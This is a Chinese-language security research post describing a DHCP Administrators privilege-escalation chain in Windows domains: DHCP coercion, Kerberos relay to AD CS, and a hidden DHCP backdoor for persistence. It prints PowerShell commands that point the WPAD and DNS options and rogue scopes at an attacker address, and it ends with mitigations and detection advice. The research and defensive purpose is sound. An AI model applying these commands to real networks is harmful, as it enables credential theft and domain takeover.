滥用 DHCP 管理员组来提升在 Windows 域中的权限
编辑和评论补充：Tricia Howard
执行摘要
Akamai 研究人员发现了一种利用 DHCP 管理员组来影响 Active Directory (AD) 环境的新权限提升技术。
在域控制器 (DC) 上安装了 DHCP 服务器角色的情况下，这可能会让这些角色获得域管理员权限。
这种技术依赖于对合法功能的滥用，而非利用任何漏洞来实现其目的。因此，不存在相应的修复方案。
除了提供权限提升原语之外，该技术还可用于创建隐蔽的域持久化机制。
Microsoft DHCP 服务器在全世界得到了广泛使用；根据我们的观察，Akamai 所监控的网络中有 40% 都在运行此服务器。运行此服务器的任何环境都容易受到攻击。
我们提供了一套详尽的步骤，旨在显著降低该技术带来的风险，并识别对该技术的潜在滥用行为。此外，我们还提供了一种方法，用于确定能够实现该技术所需的配置。
简介
从 Google Docs 到 Active Directory，访问权限管理几乎影响着企业中的每个角色。在探讨权限和访问控制的问题时，既要充分减少给员工带来的挫败感，又要避免增加不必要的风险，这种微妙的平衡对安全团队来说是一个挑战，他们对此有着深刻的体会。
因此，“仅提供所需访问权限”这一恰到好处的平衡点是任何访问权限策略的关键要素。这可以归结为一句话：应为每个用户授予完成其工作所需的一组权限，同时在其他方面对他们进行适当的限制。这不仅能降低任何单个用户遭到泄露时的影响，还能够阻止横向移动和其他漏洞利用情况。
尽管逐个按身份管理访问权限能够消除大部分风险，但这种做法既不切实际也不可行，尤其是在企业层面上。相反，用户访问组根据工作职能提供通用的权限——这一概念在 AD 中最常见。例如，Microsoft 提供了“DNS 管理员”组，它是负责管理 DNS 服务器的 AD 组。按照“仅提供所需访问权限”原则，其成员不具有对 DNS 服务器所在机器的权限，而仅限于与 DNS 服务相关的配置权限。
虽然这一切在理论上是可行的，实际上却是另一番景象。Shay Ber 于 2017 年进行的研究 演示了 “DNS 管理员”组的成员如何滥用其权限之一，在 DNS 服务器上执行代码。这种滥用行为几乎总是能够使其权限被提升为域管理员级别。
Microsoft DHCP 提供了一个称为“DHCP 管理员”的类似安全组。在 最近 研究 Microsoft DHCP 时，我们想到了找到使用该组的类似原语的问题：DHCP 管理员是否可以成为域管理员？事实证明，有时确实可以。
在本博文中，我们将介绍 DHCP 管理员组，并展示如何滥用其权限之一来入侵 DHCP 服务器， 包括在 DHCP 服务器安装在 DC 上的情况下，这种滥用行为如何导致整个域被接管。
此外，我们还会展示如何将此技术用于建立有意思的域持久化机制，并提供实施“DHCP 后门”的技术细节。
由于此技术使用可供 DHCP 管理员使用的合法权限和选项，因此无法通过安装补丁等简单的解决方案来解决，因为没有漏洞可补。为了帮助降低此技术带来的风险，我们将在本博文中详细介绍抵御和检测步骤。
什么是 DHCP 管理员？
DHCP 管理员 组是一个 AD 用户组，其中的用户负责管理动态主机配置协议 (DHCP) 服务器。它让其成员能够查询和修改远程服务器上 DHCP 服务的配置。
更重要的是， 其成员不具有对 DHCP 服务器机器本身的权限，而仅限于 DHCP 服务配置权限。 这意味着 DHCP 管理员 无法 在 DHCP 服务器上执行代码，而只能修改与 DHCP 相关的配置。DHCP 管理员控制的其中一项配置是 DHCP 选项。
滥用 DHCP 选项
网络客户端需要一组配置才能加入网络，这些配置包括 IP 地址和子网掩码、默认的网关地址以及 DNS 服务器等。DHCP 服务器会以 DHCP 选项的形式将这些配置告知给其客户端，不同的配置会与已定义的选项 ID 相结合并且由客户端进行查询（图 1）。
图 1：DHCP 服务器上配置的 DHCP 选项的示例
DHCP 客户端会请求其所需的选项，并根据响应修改其网络配置。 由于能够控制服务器上这些选项的值，因此客户端所请求的每个选项都有可能被攻击者滥用，以注入恶意配置。
为了了解 Windows 客户端上的潜在攻击面，我们可以检查默认情况下所请求的选项（图 2）。
图 2：DHCP 服务器上配置的 DHCP 选项
代理自动发现
我们可以看到，所请求的配置之一是“代理自动发现”选项（在图 2 中以蓝色突出显示），它用于自动配置 Web 代理 (WPAD)。通过此选项，DHCP 服务器能够指定“wpad.dat”文件的 URL，该文件中包含了客户端要使用的代理设置。
我们可通过运行以下 PowerShell 命令来配置此选项并将我们的地址指定为代理：
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
在设置此选项后，我们看到 Windows 客户端会在从 DHCP 服务器租用地址时接收我们的配置（图 3）。
图 3：从服务器接收代理配置的 DHCP 客户端
在接收此配置后，DHCP 客户端将通过 HTTP 连接到我们的机器并尝试获取“wpad.dat”文件（图 4）。
图 4：请求从攻击者的机器获取“wpad.dat”文件的 DHCP 客户端
冒充 WPAD 服务器的能力为 一些攻击 提供了可乘之机，这些攻击会导致客户端凭据泄露。
我们还可以使用其他 DHCP 选项来实现类似结果。这种功能是设计使然，并不是真正的安全问题DHCP 管理员可以，呃…管理 DHCP。但是，这种功能的影响可能远超预期。
“DHCP DNS 服务器”选项
在分析可能会被滥用的不同 DHCP 选项时，另一个选项引起了我们的注意——“ DNS 服务器 ”选项。通过类似于先前攻击的方式，DHCP 管理员可以假冒 DNS 服务器地址并假冒 DNS 响应以建立中间机器 (MITM) 位置。但是，事实证明，此选项还有其他用途。
通常，DHCP 选项被用于向发出请求的客户端提供数据。有意思的是，“DNS 服务器”选项还有另一个用途，即它的值将被用作 DHCP DNS 动态更新 的目标位置（图 5）。
图 5：“DNS 服务器”选项对 DHCP DNS 动态更新过程的影响
为什么说这很有意思？Microsoft DNS 服务器和 Windows DNS 客户端支持一项名为 安全动态更新的动态更新功能。在启用此功能（默认情况下，它处于启用状态）时，DNS 客户端会被要求进行身份验证，然后再在服务器上执行 DNS 更新。此身份验证通过在 DNS 上使用 Kerberos 来执行。
利用 DHCP 管理员帐户，我们可以控制 DHCP 服务器上的“DNS 服务器”选项并让其对我们选择的地址进行身份验证。图 6 中的步骤显示了其实现方式。
图 6：导致服务器通过 Kerberos 对客户端进行身份验证的 DHCP 租用
在目标 DHCP 服务器上，我们将自己的 IP 地址 (172.25.14.19) 配置为“DNS 服务器”选项。
我们从自己的机器租用了一个 IP 地址，同时指定了 FQDN 选项。在此示例中，我们指定 FQDN“aaa.aka.test”。这会触发 DHCP DNS 动态更新。
DHCP 服务器会向我们的机器发送 DNS“授权起始”(SOA) 查询（认为我们的机器是 DNS 服务器）。DHCP 服务器使用此查询来检查哪个 DNS 服务器是“aaa.aka.test”的权威服务器。
我们对此 SOA 查询作出响应，将我们的机器指定为记录“aaa.aka.test”的权威 DNS 服务器。
DHCP 服务器会尝试通过向我们的机器发送 DNS 动态更新来创建该记录。这次更新尝试未经过身份验证。
我们拒绝了该未经身份验证的更新，以触发由服务器进行的身份验证尝试。
DHCP 服务器通过在 DNS 上使用 Kerberos 身份验证对我们的机器进行验证，相关验证过程通过发送 TKEY 查询来实施。
图 7 显示了此技术的实际应用示例。
图 7：DHCP 租用和后续 DNS 流量的数据包捕获
我们称之为“ DHCP 强制认证”的这项技术会向我们授予 Kerberos 强制身份验证原语，因为我们可以让任何 DHCP 服务器对我们的机器进行身份验证。
对 DHCP 安全性有疑问？
对 Kerberos 中继进行 DHCP 强制认证
DHCP 强制认证为 Kerberos 中继 攻击提供可乘之机——我们可以强制对自己的机器进行身份验证，然后执行中继攻击，从而让自己冒充 DHCP 服务器机器帐户。这将允许对服务器本身进行完全控制，而不是仅限于 DHCP 管理员组所包含的有限权限。
虽然 Kerberos 中继攻击有一定的局限性，但我们仍然有一个不错的选择，按照 Dirk Jan 发布的博文中所述，Kerberos 中继可被用于攻击 Active Directory 证书服务 (AD CS)。
AD CS 是一组服务，可以为 Active Directory 环境提供 PKI 解决方案。在 AD 环境中，此 PKI 主要用于启用基于证书的身份验证——利用 AD CS，用户可以向他们自己颁发证书，并使用这些证书来对域中的资源进行身份验证。
这些证书的颁发方式之一是 Web 注册服务 ，这是客户端用于申请证书的一项 Web 服务。默认情况下，此服务容易遭受 Kerberos 中继攻击，因为它不会验证消息完整性。此问题被称为 ESC8 ，相关详情可查看 SpecterOps 的 Will Schroeder 和 Lee Christensen 所进行的 AD CS 研究 。
通过将我们的强制认证原语和 ESC8 相结合，我们可以创造出能够入侵 DHCP 服务器的攻击链（图 8）。
图 8：DHCP 强制认证完整攻击链
按照上一节内容所述，使用 DHCP 管理员对我们的机器强制进行 Kerberos 身份验证。
使用 Krbrelayx.py 将身份验证中继到 AD CS 并获取 DHCP 服务器机器帐户的证书。
使用该证书获取 DHCP 服务器机器帐户的 NTLM 哈希值，该技术在 SpecterOps 的研究 中被称为 THEFT5。
使用该 NTLM 哈希值冒充 DHCP 服务器机器帐户进行身份验证并执行代码。
如果想深入了解第 2 步到第 4 步，请参阅 Dirk Jan 的博文 使用 krbrelayx 和 mitm6 通过 DNS 中继 Kerberos 。
总结如下： 如果在环境中使用了 AD CS，DHCP 管理员帐户可以在任何 DHCP 服务器上执行代码。 糟糕！
DHCP 服务器往往都安装在 DC 上——在我们所观察到使用 Microsoft DHCP 服务器的网络中，有 57% 的网络都将 DHCP 服务器安装在 DC 上。在这些情况下， DHCP 管理员可以入侵整个域 ，只需接管 DC 机器帐户即可。
关于 DNS 凭据的说明
我们刚才所描述的攻击依赖于执行 DNS 更新时使用自己的机器帐户进行身份验证的 DHCP 服务器。Microsoft 建议的最佳做法之一是将一个弱用户配置为 DHCP 服务器的 DNS 凭据 ，作为执行更新时要替代机器帐户的凭据。
此配置可能会导致我们的中继攻击失效。 我们将改为获取弱用户的权限，而不是获取该服务器的机器帐户。
凑巧的是，我们就是 DHCP 管理员！ DHCP 管理员可以在不知道具体凭据的情况下移除现有的 DNS 凭据。 可以使用 PowerShell 命令 Remove-DhcpServerDnsCredential 来完成此操作。在移除该 DNS 凭据后，DHCP 服务器会还原为默认设置，并使用其机器帐户来执行更新。
DHCP 域持久化
除了滥用 DHCP 管理员组在 DHCP 服务器上执行代码之外，刚才所述的技术还可以变为一种攻击手段，用来创建有意思的域持久化机制。
在“DNS 服务器”选项设置完毕后，不需要任何凭据就能强制进行身份验证——攻击者只需从 DHCP 服务器租用 IP 地址即可。 这能够让攻击者在不使用任何凭据的情况下 从域外部 执行 DHCP 强制认证攻击。
DHCP 后门范围
DHCP 范围是特定子网中 DHCP 可以租用的一组已定义的 IP 地址。DHCP 选项可以按范围进行配置，从而对各种子网采用不同的配置。
如需执行 DHCP 强制认证，我们需要对其中一个 DHCP 范围更改 DNS 服务器选项。很显然，我们不想将现有范围用于强制认证。如果我们修改现有范围的 DNS 服务器选项，此配置可能会被传递到 DHCP 客户端，从而导致发生通信问题以及可能会导致我们的后门被检测到。
我们改为创建一个专用范围，其地址范围未在该网络的任何子网中使用（图 9）。
图 9：创建“后门”DHCP 范围
但是，此方法有一个存在于 DHCP 服务器范围选择逻辑中的问题。当客户端租用 IP 地址时，该服务器会根据客户端的源子网确定要使用的 DHCP 范围。此子网将通过接收 DHCP 发现消息的网络接口进行确定（图 10）。
图 10：基于网络接口的 DHCP 范围选择
为了触发此后门，我们需要从自己的恶意范围租用 IP 地址。为此，我们必须存在于关联到此范围的子网中。与此同时，我们不想让自己的范围关联到该网络中的现有子网，以避免中断客户端连接。但是，这两项要求彼此矛盾——如果某个范围未关联到现有子网，那么我们无法访问它。如果该范围关联到了现有子网，那么其他客户端也能访问它。幸运的是，DHCP 中继代理将在这里大显身手。
DHCP 中继代理
DHCP 中继代理功能让这个问题迎刃而解。 DHCP 中继代理是一个服务器，旨在允许客户端从 DHCP 服务器租用 IP 地址，即使客户端不存在于其本地网络中也是如此（图 11）。
图 11：利用中继代理的 DHCP 租用过程
中继代理会侦听来自客户端的 DHCP 广播消息并代表这些客户端将它们中继到 DHCP 服务器。DHCP 中继代理会通过 DHCP 选项“ 中继代理信息 ”将客户端的源子网告知 DHCP 服务器，让该服务器来确定客户端租用 IP 地址时要使用的正确范围。
我们注意到，此功能会使 DHCP 中继代理从任何范围请求 IP 地址，而不管 DHCP 服务器上的接口如何。攻击者可以充当中继代理并在“中继代理信息”选项中指定任何子网，从而让他们能够从任何范围租用 IP 地址（图 12）。
图 12：通过充当 DHCP 中继代理来从指定的范围租用 IP 地址
最后还有一点需要注意：中继服务器本身的 IP 地址必须包含在服务器的现有范围中。这是为了防止恶意客户端访问该服务器。为了解决此问题，我们可以遵循 Microsoft 的建议 ，创建一个包含我们的外部 IP 地址的专用范围，并非法“授权”其充当中继。
滥用“DHCP 中继代理”选项
潜在的后门（图 13 ）将由两个范围组成：
授权范围。该范围旨在授权我们的攻击机器充当 DHCP 中继代理。其 IP 范围将包含我们的外部攻击机器的 IP 地址。
- 强制认证范围。该范围将被用于租用 IP 地址，从而触发对我们的攻击机器的 Kerberos 身份验证尝试。其“DNS 服务器”选项将使用我们的外部攻击机器 IP 进行配置，并且其 IP 范围可以是未在该网络中使用的任意范围。
图 13：DHCP 后门设计
以下 PowerShell 代码显示了这些范围是如何创建的：
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
为了触发此后门，我们从 DHCP 服务器租用一个地址，并进行以下调整：
我们使用中继代理 IP 地址 (giaddr) DHCP 字段中的 IP 地址。此字段用于将中继代理 IP 地址告知 DHCP 服务器。此 IP 必须位于“授权范围”中。
我们包含了“中继代理信息”选项以及“强制认证范围”内的 IP 地址。
在图 14 中，我们的授权范围包含 IP 地址 172.25.14.18，而我们的强制认证范围包含地址 66.66.66.66。
图 14：充当中继代理时的 DHCP 发现调整
我们增加了对 DDSpoof（我们的 DHCP DNS 欺骗工具包）的中继代理支持，并创建了一个名为 dhcp_coerce.py 的概念验证脚本，用于实现此攻击执行。该脚本充当 DHCP 中继代理，并请求从我们所请求的范围获取 IP 地址，从而让我们能够通过强制认证范围触发强制身份验证（图 15）。
图 15：使用 DDSpoof 触发 DHCP 后门
抵御措施
针对此威胁的防御措施包括：
识别存在风险的 DHCP 配置
抵御针对 AD CS 的中继攻击
践行 DHCP 管理员组安全习惯
使用分段来减小攻击面
识别 DNS 异常
识别存在风险的 DHCP 配置
Invoke-DHCPCheckup.ps1 可以帮助您识别存在风险的 DHCP 配置。在 DHCP 强制认证攻击链的背景下，最严重的风险是在 DC 上安装 DHCP 服务器——这是我们建议您避免使用的配置。
运行 Invoke-DHCPCheckup 可列出所有处于活动状态的 Microsoft DHCP 服务器，并识别出已安装在 DC 上的任何此类服务器（图 16）。如果可能，请在所有 DC 上禁用 DHCP 服务器服务。
图 16：使用 Invoke-DHCPCheckup 识别 DC 上安装的 DHCP 服务器
抵御针对 AD CS 的中继攻击
防范此攻击链的最有效方法是抵御针对 AD CS 服务器的中继攻击，这会阻止攻击者滥用强制身份验证原语。
针对 AD CS 的中继攻击及其变体的风险并非最近才出现，并且 Microsoft 也早已知晓此问题。 身份验证扩展保护 (EPA) 是一项用于防止此类攻击的功能，但默认情况下未对 AD CS 启用。为了抵御对 AD CS 的中继攻击风险，请 在所有 AD CS 服务器上启用 EPA 功能并禁用 HTTP。
践行 DHCP 管理员组安全习惯
DHCP 管理员组的成员有可能会入侵 DHCP 客户端和服务器，因此应将该组视为高价值资产并相应地进行监控。尽可能地限制 DHCP 管理员组的成员资格，以减少发生管理员用户泄露的风险。 可以考虑在适用的情况下使用限制性更强的 DHCP 用户组。
使用分段来减小攻击面
除了上述防御措施之外，可以使用网络分段来抵御此攻击并减小攻击面，这样有可能防止发生潜在的类似攻击。
通过使用 Akamai Guardicore Segmentation，防御者可以：
拦截流向 DHCP 服务器的 RPC 流量 （来自非管理员端点），从而阻止攻击者修改 DHCP 选项：创建一个标签，其中包含 DHCP 管理员所使用的端点，然后仅允许此标签通过非 DHCP 端口与 DHCP 服务器进行通信。
拦截对不需要 AD CS 注册服务器的端点对该服务器的访问，这可以降低攻击者执行中继攻击的能力：创建一个标签，其中包含需要使用 AD CS 来颁发证书的端点，然后仅允许该标签与 Web 注册服务器进行通信。
拦截流向和来自互联网的 DHCP 流量，阻止外部机器强制进行 DHCP 身份验证：为所有 DHCP 服务器创建一个标签，然后拦截所有与互联网地址的通信。
识别 DNS 异常
此攻击依赖于强制 DHCP 服务器向标准 AD DNS 服务器之外的地址发送 DNS 更新请求。此类流量通常在本质上是静态的，因此该行为高度异常。此异常流量行为让我们有机会检测出该攻击，或者检测出会滥用通过 DNS 进行 Kerberos 身份验证的任何其他攻击。
为了识别此类异常，可以创建一个包含合法 DNS 服务器的列表，这些服务器应通过查询 AD 或监控 DNS 流量来接收 DNS 更新。此列表包含的服务器应相当有限，并且它应用作合法流量的基准。应对任何与此列表不符的情况进行调查，尤其是它包含互联网地址时。
Akamai Hunt是 Akamai 的托管式威胁搜寻服务，它以大量异常检测技术的形式为客户保驾护航，这些技术能够持续监控环境并尝试检测未知元素。
结论
恶意的权限提升可能会导致灾难性后果，尤其是当它利用合法过程时。既要实施强有力的安全控制措施，又要充分避免给用户带来不便，这对现代安全专业人员来说是一个重大难题。随着物联网、分布式移动办公的推出以及新旧漏洞利用的不断冲击，现在已成为掌控访问权限策略的关键时刻。
DHCP 管理员组就是此概念的一个鲜明示例。它可以为其成员提供一组高级权限，但这些权限也可能会遭到攻击者滥用。尤其是在安全方面，即使是毫无恶意的功能也可能会遭到滥用。
防御者应当注意此类潜在风险，并谨慎地对待此组。我们希望您可以通过本博文了解此威胁的相关信息以及针对它的防御措施。
了解更多
如需了解与 Microsoft DHCP 相关的更多信息，请参阅我们关于以下主题的其他博文：
Akamai 安全情报组将继续监控这一威胁和其他类似的威胁，并公布我们的发现。如需了解 DHCP 更新和其他安全研究， 请关注我们的微信公众号 。
